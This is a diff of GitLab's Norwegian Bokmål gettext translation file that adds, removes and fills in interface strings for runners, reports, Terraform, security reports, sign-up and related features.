msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr "Profilen din"
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr "Reindekserer statusen"
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr "Utgivelser"
@@ -22177,9 +22685,6 @@ msgstr "Noe gikk galt under lagring av utgivelsesdetaljene"
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr "Husk meg"
-
msgid "Remind later"
msgstr "PÃ¥minn meg senere"
@@ -22301,7 +22806,7 @@ msgid "Remove user & report"
msgstr ""
msgid "Remove user from group"
-msgstr ""
+msgstr "Fjern bruker fra gruppe"
msgid "Removed"
msgstr "Fjernet"
@@ -22384,9 +22889,6 @@ msgstr "Fjerner måldatoen."
msgid "Removes time estimate."
msgstr "Fjerner tidsanslag."
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr "Endre navn/flytt"
msgid "Reopen"
msgstr "Åpne på nytt"
-msgid "Reopen %{display_issuable_type}"
-msgstr "Gjenåpne %{display_issuable_type}"
+msgid "Reopen %{issueType}"
+msgstr ""
msgid "Reopen epic"
msgstr "Gjenåpne epos"
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr "Gjenåpne milepæl"
@@ -22489,6 +22988,14 @@ msgstr "Rapportering"
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr "%{combinedString} og %{resolvedString}"
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr "Klassenavn"
msgid "Reports|Execution time"
msgstr "Kjøretid"
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr "Feilede"
@@ -22572,6 +23084,9 @@ msgstr "Kodelagre"
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr "Kodelager"
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,11 +23192,11 @@ msgstr ""
msgid "Repository storage"
msgstr "Kodelager-lagring"
-msgid "Repository sync capacity"
-msgstr "Kodelagersynkroniseringskapasitet"
+msgid "Repository synchronization concurrency limit"
+msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
-msgstr "Kodelager: %{counter_repositories} / Wikier: %{counter_wikis} / Byggeartefakter: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Utdrag: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
msgstr "Velg"
@@ -22696,7 +23220,7 @@ msgid "Request to link SAML account must be authorized"
msgstr ""
msgid "Requested"
-msgstr ""
+msgstr "Forespurt"
msgid "Requested %{time_ago}"
msgstr "Forespurt %{time_ago}"
@@ -22789,12 +23313,18 @@ msgstr "Send invitasjonen på nytt"
msgid "Resend it"
msgstr "Send det på nytt"
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr "Tilbakestill autorisasjonsnøkkel"
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr "Forsøk igjen"
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr "Prøv denne jobben på nytt"
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr "GÃ¥r gjennom"
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23133,20 +23669,17 @@ msgid "Runners|Maximum job timeout"
msgstr ""
msgid "Runners|Name"
-msgstr ""
+msgstr "Runners|Navn"
msgid "Runners|Platform"
-msgstr ""
+msgstr "Runners|Plattform"
msgid "Runners|Property Name"
-msgstr ""
+msgstr "Runners|Egenskapsnavn"
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23178,7 +23711,7 @@ msgid "Runs a number of housekeeping tasks within the current repository, such a
msgstr ""
msgid "SAML"
-msgstr ""
+msgstr "SAML"
msgid "SAML SSO"
msgstr "SAML SSO"
@@ -23217,7 +23750,7 @@ msgid "SSH host keys are not available on this system. Please use %{ssh_keyscan}
msgstr ""
msgid "SSH key"
-msgstr ""
+msgstr "SSH-nøkkel"
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr "Lagre endringene"
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr "Lagre likevel"
-
msgid "Save application"
msgstr "Lagre applikasjon"
@@ -23273,7 +23800,7 @@ msgstr "Lagre passord"
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23286,7 +23813,7 @@ msgid "Saving project."
msgstr "Lagrer prosjekt."
msgid "Scanner"
-msgstr ""
+msgstr "Skanner"
msgid "Schedule a new pipeline"
msgstr "Planlegg en ny rørledning"
@@ -23330,15 +23857,9 @@ msgstr "Omfang kan ikke være tomme"
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr "Score"
-
msgid "Scroll down"
msgstr "Rull nedover"
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr "Rull til venstre"
@@ -23441,6 +23962,9 @@ msgstr "Søk i prosjekter"
msgid "Search projects..."
msgstr "Søk blant prosjekter …"
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr "i gruppen %{groupName}"
msgid "SearchAutocomplete|in project %{projectName}"
msgstr "i prosjektet %{projectName}"
-msgid "SearchCodeResults|in"
-msgstr "i"
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr "av %{link_to_project}"
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr "Se målinger"
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr "Se hva som er nytt hos GitLab"
@@ -24029,9 +24562,6 @@ msgstr "Velg prosjekt for å velge sone"
msgid "Select projects"
msgstr "Velg prosjekter"
-msgid "Select projects you want to import."
-msgstr "Velg prosjekter du ønsker å importere."
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24177,7 +24707,7 @@ msgid "Server version"
msgstr "Serverversjon"
msgid "Serverless"
-msgstr ""
+msgstr "Serverless"
msgid "Serverless domain"
msgstr ""
@@ -24279,7 +24809,7 @@ msgid "Service URL"
msgstr "Tjeneste-URL"
msgid "Session ID"
-msgstr ""
+msgstr "Økt-ID"
msgid "Session duration (minutes)"
msgstr "Øktvarighet (i minutter)"
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr "Sett milepælen til %{milestone_reference}."
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr "Bestem vektlegging"
msgid "Set weight to %{weight}."
msgstr "Sett vektlegging til %{weight}."
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr "bestem et passord"
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr "Legg til status-emoji"
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr "Tøm status"
@@ -24455,6 +24988,9 @@ msgstr "Bestem status"
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr "Hva er statusen din?"
@@ -24551,14 +25087,11 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr "Hvis du noen gang mister telefonen eller tilgang til din éngangs passordhemmelighet, kan hver av disse gjenopprettingskodene brukes én gang hver for å få tilgang til kontoen din igjen. Vennligst lagre dem på et trygt sted, ellers vil du %{b_start}vil%{b_end} miste tilgang til kontoen din."
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr "Vis all aktivitet"
msgid "Show all issues."
-msgstr ""
+msgstr "Vis alle saker."
msgid "Show all members"
msgstr "Vis alle medlemmer"
@@ -24567,7 +25100,7 @@ msgid "Show all requirements."
msgstr "Vis alle krav."
msgid "Show all test cases."
-msgstr ""
+msgstr "Vis alle testsaker."
msgid "Show archived projects"
msgstr "Vis arkiverte prosjekter"
@@ -24608,13 +25141,16 @@ msgstr "Vis nyeste versjon"
msgid "Show list"
msgstr "Vis liste"
-msgid "Show me everything"
-msgstr "Vis meg alt"
+msgid "Show me advanced features"
+msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] "Viser %d hendelse"
msgstr[1] "Viser %d hendelser"
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr "Viser %{count} av %{total} prosjekter"
@@ -24667,7 +25206,7 @@ msgid "Showing last %{size} of log -"
msgstr "Viser siste %{size} i loggen -"
msgid "Showing latest version"
-msgstr ""
+msgstr "Viser den nyeste versjonen"
msgid "Showing version #%{versionNumber}"
msgstr ""
@@ -24703,7 +25242,7 @@ msgid "Sign in to \"%{group_name}\""
msgstr "Logg inn hos «%{group_name}»"
msgid "Sign in to GitLab"
-msgstr ""
+msgstr "Logg på GitLab"
msgid "Sign in using smart card"
msgstr "Logg på med smartkort"
@@ -24738,11 +25277,14 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr "Registreringsbegrensninger"
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
-msgstr "Fornavnet er for langt (maksimumet er %{max_length} tegn)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
+msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
-msgstr "Etternavnet er for langt (maksimumet er %{max_length} tegn)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
+msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
msgstr "Brukernavnet er for langt (maksimumet er %{max_length} tegn)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr "Hoppet over"
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr "Slack-applikasjon"
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,8 +25493,8 @@ msgstr "Noe gikk galt under benyttelse av forslaget. Vennligst prøv igjen."
msgid "Something went wrong while archiving a requirement."
msgstr "Noe gikk galt under arkivering av et krav."
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
-msgstr "Noe gikk galt under lukking av %{issuable}. Vennligst prøv igjen senere"
+msgid "Something went wrong while closing the merge request. Please try again later"
+msgstr ""
msgid "Something went wrong while creating a requirement."
msgstr "Noe gikk galt under opprettelse av et krav."
@@ -25032,11 +25574,14 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr "Noe gikk galt under utføring av handlingen."
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr "Noe gikk galt under gjenåpning av et krav."
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
-msgstr "Noe gikk galt ved gjenåpning av %{issuable}. Vennligst prøv igjen senere"
+msgid "Something went wrong while reopening the merge request. Please try again later"
+msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
msgstr "Noe gikk galt ved løsing av denne diskusjonen. Vennligst prøv igjen."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25381,7 +25929,7 @@ msgid "Star toggle failed. Try again later."
msgstr ""
msgid "StarProject|Star"
-msgstr ""
+msgstr "StarProject|Stjernemerk"
msgid "Starred Projects"
msgstr "Stjernemerkede prosjekter"
@@ -25408,7 +25956,7 @@ msgid "Start Date"
msgstr "Startdato"
msgid "Start Time"
-msgstr ""
+msgstr "Starttid"
msgid "Start Web Terminal"
msgstr "Start netterminal"
@@ -25461,9 +26009,6 @@ msgstr "Start tråd og lukk %{noteable_name}"
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25696,10 +26253,10 @@ msgid "Submit as spam"
msgstr "Send inn som spam"
msgid "Submit changes"
-msgstr ""
+msgstr "Send inn endringer"
msgid "Submit changes..."
-msgstr ""
+msgstr "Send inn endringer …"
msgid "Submit feedback"
msgstr "Send tilbakemelding"
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr "Neste fakturering"
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr "Abonnementets sluttdato"
@@ -25848,11 +26411,14 @@ msgstr "Trekker fra"
msgid "Succeeded"
msgstr "Lyktes"
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr "Aktivering vellykket"
msgid "Successfully approved"
-msgstr ""
+msgstr "Vellykket godkjent"
msgid "Successfully blocked"
msgstr "Vellykket blokkert"
@@ -25879,7 +26445,7 @@ msgid "Successfully synced %{synced_timeago}."
msgstr ""
msgid "Successfully unblocked"
-msgstr ""
+msgstr "Opphevde blokkeringen vellykket"
msgid "Successfully unlocked"
msgstr "Opplåsingen var vellykket"
@@ -25942,13 +26508,13 @@ msgid "SuggestedColors|Soft red"
msgstr "Myk rød"
msgid "SuggestedColors|Strong pink"
-msgstr ""
+msgstr "SuggestedColors|Sterk rosa"
msgid "SuggestedColors|Strong red"
-msgstr ""
+msgstr "SuggestedColors|Sterk rød"
msgid "SuggestedColors|Strong yellow"
-msgstr ""
+msgstr "SuggestedColors|Sterk gul"
msgid "SuggestedColors|UA blue"
msgstr ""
@@ -25960,7 +26526,7 @@ msgid "SuggestedColors|Very dark lime green"
msgstr ""
msgid "SuggestedColors|Very pale orange"
-msgstr ""
+msgstr "SuggestedColors|Veldig blek oransje"
msgid "Suggestion is not applicable as the suggestion was not found."
msgstr ""
@@ -26022,9 +26588,12 @@ msgstr "Synkronisert"
msgid "Synchronization disabled"
msgstr ""
-msgid "Syncing…"
+msgid "Synchronization settings"
msgstr ""
+msgid "Syncing…"
+msgstr "Synkroniserer …"
+
msgid "System"
msgstr "System"
@@ -26190,9 +26759,6 @@ msgstr "Team-domene"
msgid "Telephone number"
msgstr "Telefonnummer"
-msgid "Telephone number (Optional)"
-msgstr "Telefonnummer (valgfritt)"
-
msgid "Template"
msgstr "Mal"
@@ -26232,6 +26798,9 @@ msgstr "Vilkår for serviceavtale og personvernregler"
msgid "Terms of Service and Privacy Policy"
msgstr "Bruksvilkår og personvern"
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr "Genereringen av prosjektet forårsaket en feil."
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr "Test"
@@ -26280,6 +26873,12 @@ msgstr[1] "Testdekning: %d treff"
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,12 +27046,12 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr "X.509-sertifikatet som skal brukes når det kreves gjensidig TLS for å kommunisere med den eksterne autorisasjonstjenesten. Hvis det er tomt, blir tjenersertifikatet fortsatt validert når du besøker den gjennom HTTPS."
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
-msgstr ""
-
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
msgstr ""
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr "Nedlastingslenken vil utløpe om 24 timer."
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr "Feilene vi kom over var:"
@@ -26560,6 +27159,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr "Statusen i tabellen nedenfor gjelder bare for standardgrenen og er basert på den %{linkStart}nyeste rørledningen%{linkEnd}. Når du har aktivert en skanning for standardgrenen, vil enhver påfølgende funksjon gren du oppretter inkludere skanningen."
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr "Testtrinnet viser tiden GitLab CI bruker på å kjøre hver rørledning for den relaterte fletteforespørselen. Dataene vil automatisk bli lagt til etter at den første rørledningen din er ferdig med å kjøre."
@@ -26773,7 +27387,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr "Brukeren blir for øyeblikket slettet."
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr "Brukerkartet er et JSON-dokument som tilordner Google Code-brukere som deltok på dine prosjekter, til måten deres e-postadresser og brukernavn vil bli importert til GitLab. Du kan endre dette ved å endre verdien på høyre side av %{code_open}:%{code_close}. Pass på å bevare doble anførselstanker, andre punktumtegn, og e-postadressen eller brukernavnet på venstre side."
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr "Brukerkartet er en kartlegging av FogBugz-brukerne som deltok på prosjektene dine til måten deres e-postadresse og brukernavn blir importert til GitLab. Du kan endre dette ved å fylle ut tabellen nedenfor."
@@ -26803,6 +27414,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr "Det er ingen variabler enda."
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr "Dette er din nåværende økt"
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
